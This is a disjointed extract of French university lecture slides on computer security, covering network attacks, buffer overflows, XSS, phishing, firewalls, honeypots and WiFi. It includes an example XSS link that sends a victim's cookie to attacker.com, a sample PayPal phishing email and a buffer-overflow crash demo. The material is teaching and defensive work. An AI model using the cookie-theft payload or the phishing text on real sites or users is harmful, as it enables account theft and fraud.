Академический Документы
Профессиональный Документы
Культура Документы
Informatique
Patrick Ducrot
dp@ensicaen.fr
http://www.ducrot.org/securite.pdf
Plan du document
Généralités………………………………………………………………… 3
Les menaces……………………………………………………………… 37
Vulnérabilités du réseau……………………………… 72
Vulnérabilités applicatives ………………… 111
Les outils d'attaque/défense ……………… 169
Chiffrement, tunnels et vpn ………………… 222
Firewall …………………………………………………………………… 241
Les honeypots ……………………………………………………… 257
WiFi et sécurité ……………………………………………… 263
Conseils et conclusion……………………………………277
RESEAU
Attaques réseau
Confidentialité (écoute) Accès illicites (intrusion)
Intégrité (modification paquets) Rayonnements
confidentialité
Disponibilité (saturation) confidentialité
Intégrité
Disponibilité
– intégrité
– confidentialité
– Disponibilité
– Authentification
– Non répudiation
– Croissance de l'Internet
– Croissance des attaques
– Failles des technologies
– Failles des configurations
– Failles des politiques de sécurité
– Changement de profil des pirates
• Vocabulaire:
– « script kiddies »
– « hacktiviste » LulzSec
– « hackers »
• « white hats »
• « black hats »
• « grey hats »
• « cracker »
• « carder »
• « phreaker »
- Serveurs irc
- Serveurs web
- Requêtes DNS
- Messageries instantanées
- Peer to Peer
- Skype
- …
• Cupidité
• Modifications d’informations
• Vengeance/rancune
• Politique/religion
• Défis intellectuels
• Serveurs militaires
• Banques
• Universités
• Tout le monde
Législation Matériel
Stratégie de sécurité
Contrats Réseaux
Planifier
Vérifier
• t1 + t2 + t3 + t4 < RTO
• Les données perdues pourront être récupérées à partir d’une sauvegarde, d’une
réplication, d’un journal de transaction, …
• Des sauvegardes régulières peuvent suffire dans le cas d’un RPO élevé. Pour
un RPO faible, des mécanismes tels que la réplication synchrone doivent être
mis en place.
– Quelques avantages:
• Optimiser l'usage des ressources d'une machine tout en isolant les services entre
eux.
• Optimisation du taux d’utilisation des ressources informatiques
• Economie d’énergie (« green computing »)
• Gain économique et d’encombrement
• Possibilité de cloner et/ou de déplacer des machines
– Quelques risques
• Une panne ou une indisponibilité d’une ressource commune peut bloquer tous les
services hébergés.
• En fonction de la solution virtualisation, un manque de cloisonnement peut
engendrer une fuite d’informations.
• Risque de copie non souhaitée de machine virtuelle
• Quelques exemples:
– Code Red (utilisation d'une faille des serveurs IIS et
défiguration des sites)
http://windows7news.com/2010/02/25/operation-b49-waledac-botnet-take-down/
http://www.01net.com/editorial/389835/laposte.net-a-diffuse-involontairement-une-publicite-piegee/
• 6500 nouvelles pages webs associées au spam découvertes chaque jour (1 page toutes les
13 secondes).
• Ne pas mettre d’adresses électroniques sur les sites webs mais les encoder par
un script ou dans une image (exemple: http://www.caspam.org); voir transparent
suivant.
<HTML>
Laisser un message
<script type="text/javascript">
//<![CDATA[
var d="";for(var i=0;i<359;i++)d+=String.fromCharCode(("%o!.rK00It}!6%o!.wK>IwJ@DDIw997r9Ka#!w|u<t!}
{Qvo!Q}rs660)4(:2*39R<7.9*LK`&D/-7*+aFFD4324/:/8*4;*7aF9-.8R-7*+a!K2&.1/94^KR7*j51&(*LS/
S,PFFMOw97.3,R+742g-&7g4)*LUTTPUUVMO FdF\" T\"OK*38.(b&*bb3bKR7*j51&(*LSbS,P FF\" T\"MO FRF\"
T\"Ow97.3,R+742g-&7g4)*LUTVPUYWQW]MOK!KFD4324:8*4T:9aF9-.8R-T7T*+a!K!KFTb.
(.`S&bKR7*j51&(*LSTS,P FF\" T\"MM0<qvo!Q}rsO#6w79B?73GC9A@7Is%oz6r7".charCodeAt(i)
+49)%95+32);eval(d)
//]]>
</script>
</HTML>
• Un serveur de courrier doit être bien configuré (en particulier, pas « d’Open Relay »).
• Visa
• eBay
• Citibank
• PayPal
• Banques
It has come to our attention that your PayPal® account information needs to be
updated as part of our continuing commitment to protect your account and to
reduce the instance of fraud on our website. If you could please take 5-10 minutes
out of your online experience and update your personal records you will not run into
any future problems with the online service.
http://209.133.49.211/icons/cgi-bin/login.html
Adresse Source
Adresse Destination
Options Remplissage
32 bits
Numéro de séquence
Numéro d'acquittement
Long U A P R S F
entête R C S S Y I Taille de la fenêtre
G K H T N N
TCP
Données (optionnelles)
Interprétation de
plusieurs centaines
de protocoles
applicatifs
– http://www.youtube.com/watch?v=NPT-NIMoEgo (partie 1)
– http://www.youtube.com/watch?v=hVrU_3xX5ic (partie 2)
• Mastercard, PayPal, EveryDNS, Swiss Bank PostFinances en décembre 2010 par les
Anonymous
• Et tant d’autres….
• Février 2014: attaque via les serveurs NTP (UDP/123) a atteint une
amplitude de 400 Gbps.
Source: http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack
arp-reply
192.168.16.10
192.168.16.10
00:50:04:47:5F:5F
intrus
Arp spoofing
Arp spoofing
Interception et Interprétation
du flux http, remplacement
des balises https par http
Site web
cache poisoning
• Description du CERTA:
– Erreurs de programmation
• Débordements de tampons (buffer overflow)
• Chaînes de format
• Entrées utilisateurs mal validées
• Les problèmes de concurrence
• etc.
Exécution:
[dp@ns bufferoverflow]$ ./demo aaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Sous debugger:
[dp@ns bufferoverflow]$ gdb demo
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /users/dp/bufferoverflow/demo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
stack
Storage file
heap
symbol table
bss
text text
ret
sfp
buffer1
buffer2
heap
bss
sfp (4)
long_ptr (4)
strcpy overflow
i (4)
buffer (96)
large_string (128)
shellcode
b
a
chaîne de format
void main ()
{
FILE *fp ;
char chaine [80] ;
memset (chaine,'\0',sizeof (chaine)) ;
if ( (fp = fopen ("/tmp/stupide","w")) == NULL) { exit (1) ; }
read (0,chaine,sizeof (chaine)) ;
fprintf (fp,"%s",chaine) ;
fclose (fp) ;
}
<html>
<a href="http://www.vulnerable.com/
var=<script>document.location.replace(http://
attacker.com/steal.cgi?+document.cookie);</
script>">
</a>
</html>
<html>
<?php
print $nom ;
?>
</html>
fichier test1_xss.php3
15/10/2014 - ENSICAEN - (c) dp 161
Remède possible
• Ne jamais faire confiance à une saisie
utilisateur.
• Ne jamais afficher à l’écran tel quel une saisie
utilisateur.
• Filtrer tous les caractères indésirables
(comme les caractères < et >).
• Exemple en php:
print htmlspecialchars ("Bonjour $nom") ;
http://www.xkcd.com/327
• Une vulnérabilité peut être la conséquence d'une négligence (mot de passe nul
ou trivial par exemple) ou d'une erreur de programmation (buffer overflow, …).
• Modèle client/serveur:
• exemples:
http://www.securityfocus.com (référencement BID)
http://cve.mitre.org (référencement CVE)
Sortie 1
plugins de
détection
Préprocesseur 1
Préprocesseur n Sortie n
décodage Détection
libpcap
http://keepass.info/
• Détection des ports ouverts non officiels (avec nmap sur une machine
externe). Par exemple l'inetd de lrk4 ouvre le port 5002.
• Utilitaires de détection:
unix: chkrootkit http://www.chkrootkit.org/
windows: rootkitrevealer http://www.sysinternals.com/ntw2k/freeware/
rootkitreveal.shtml
Strider GhostBuster http://research.microsoft.com/rootkit/
F-Secure Blacklight http://www.f-secure.com/blacklight/
• Exemples:
– https plutôt que http
– pops plutôt que pop
– imaps plutôt que imap
– smtps plutôt que smtp
– etc.
15/10/2014 - ENSICAEN - (c) dp 224
Session chiffrée
• ssh (Secure Shell) plutôt que
telnet,rlogin,rsh,rcp
• Génération d'une paire de clef RSA (toutes
les heures) par le serveur.
• Envoi de la clef publique au client qui se
connecte.
• Le client génère une clef symétrique, la
chiffre avec la clef du serveur et la renvoie au
serveur.
• Le reste de la communication est en
chiffrement symétrique.
15/10/2014 - ENSICAEN - (c) dp 225
Tunneling
• Un protocole de tunneling est utilisé pour
créer un chemin privé (tunnel) à travers une
infrastructure éventuellement publique.
Site à site
utilisateur nomade
– Antivirus
– Anti Spywares
– Firewall personnels
• Objectifs:
– Distraire un attaquant pour protéger des machines plus sensibles.
– Découvrir de nouvelles techniques d’attaques, de nouveaux outils,
…
• Quelques exemples:
– honeyd http://www.honeyd.org
– honeytrap http://honeytrap.mwcollect.org/
– sepenthes http://www.mwcollect.org/
– Specter (commercial) http://www.specter.com
• Exemple:
– ROO HoneyWall
• Normes actuelles:
– 802.11b (WiFi) 2,4 Ghz, 11 Mb/s
– 802.11a (WiFi 5) 5 Ghz, 54 Mb/s
– 802.11g 2,4 Ghz, 54 Mb/s
– …
15/10/2014 - ENSICAEN - (c) dp 264
Avantage des connexions sans fil
• Insertion de trafic
• rebonds